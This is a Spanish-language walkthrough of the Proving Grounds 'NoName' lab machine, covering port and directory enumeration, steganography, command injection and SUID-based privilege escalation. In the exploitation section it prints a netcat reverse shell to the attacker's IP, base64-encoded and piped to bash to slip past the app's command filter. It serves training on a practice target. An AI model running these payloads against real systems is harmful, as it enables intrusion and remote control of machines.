🟠NoName

Write-up de la máquina NoName de Proving Grounds #writeup #walkthrough

Enumeración

Servicios abiertos

Comenzamos la resolución de la máquina Noname enumerando que servicios tiene el sistema objetivo abiertos.

nmap -p- --open --min-rate 1000 -Pn -n -vvv 192.168.250.15 

Únicamente está abierto el puerto 80. Vamos a ver que se está ejecutando en ese puerto.

nmap -p80 -Pn -n -sVC -vvv 192.168.250.15 

Servicios abiertos

  • Puerto 80 -> HTTP -> Apache httpd 2.4.29

Enumeración Web

La máquina NoName está ejecutando un servicio Web en el puerto 80. Veamos su contenido.

Vemos una posible función donde nos insta a ejecutar comandos pero falso, como podemos ver en el código fuente.

Vamos a enumerar archivos y directorios con la herramienta dirsearch.

dirsearch -u http://192.168.250.15 -i200,301 -e txt,html,php -w /home/elhackeretico/SecLists/Discovery/Web-Content/big.txt

Encontramos un directorio /admin. Vamos a ver su contenido.

Encontramos 4 imagenes, que vamos a descargar en nuestro equipo. También vamos a revisar el código fuente por si hubiese info interesante.

Encontramos una pass, que vamos a guardar por si fuese interesante.

Tenemos cuatro imágenes dentro de un directorio /admin. ¿Sospechoso? Vamos a tratar de extrear información oculta en estas imágenes mediante la técnica de steganografía.

Después de extraer la información, encontramos un posible nuevo archivo interesante. Vamos a ver su contenido en el navegador.

Volvemos a ver la misma función para ejecutar comandos que vimos al principio de la enumeración, pero en este caso, podemos ejecutar comandos.

Explotación

Sabiendo que se pueden ejecutar comandos, vamos a tratar de levantar una reverse shell hacia nuestra máquina de ataque. Viendo el código fuente de esta aplicación, vemos que tenemos limitaciones en cuanto a los comandos que podemos ejecutar.

Ahora tiene sentido: la aplicación ha limitado la ejecución de ciertos comandos... puede ser necesario adoptar enfoques innovadores para lograr que esto funcione.

Es evidente que existen ciertos comandos completamente prohibidos. Por lo tanto, una opción podría ser emplear nc.traditional para lograr una shell inversa, sin embargo, se presentaría el inconveniente de que nc seguiría siendo una cadena detectable. Como solución a esto, opté por codificar la siguiente carga útil en base64.

nc.traditional -e /bin/bash 192.168.45.183 1337
bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDUuMTgzIDEzMzcK (shell en base 64)
127.0.0.1 | echo "bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDUuMTgzIDEzMzcK" | base64 -d | bash

Debemos levantar en nuestra máquina un oyente nc en el puerto 1337.

Ya tendremos acceso a la máquina objetivo como "www-data". Antes de continuar con la resolución de la máquina, vamos a realizar el tratamiento de la tty para facilitar el trabajo.

python3 -c 'import pty;pty.spawn("/bin/bash")'

El siguiente paso será buscar la flag local.txt

Elevación de privilegios

Una vez obtuvimos acceso a la máquina objetivo y encontramos la flag local.txt, continuaremos elevando nuestros privilegios dentro de la máquina objetivo. Si tuviesemos un usuario con credenciales podríamos enumerar que puede ejecutar ese usuario como root sin contraseña, pero no tenemos credenciales. Así que la siguiente enumeración interesante sería que binarios tienen activo el bit SUID.

find / -perm -u=s -type f 2>/dev/null

El ejecutable find dispone del bit SUID, y este puede ser un vector de elevación de privilegios. Vamos a consultar GTFOBins.

Vamos a tratar de elevar privilegios utilizando este recurso.

Obtenemos acceso con privilegios máximos dentro del sistema objetivo, el paso final será buscar la flag proof.txt

Y ya estaría resuelta la máquina NoNamede la plataforma Proving Grounds.

Last updated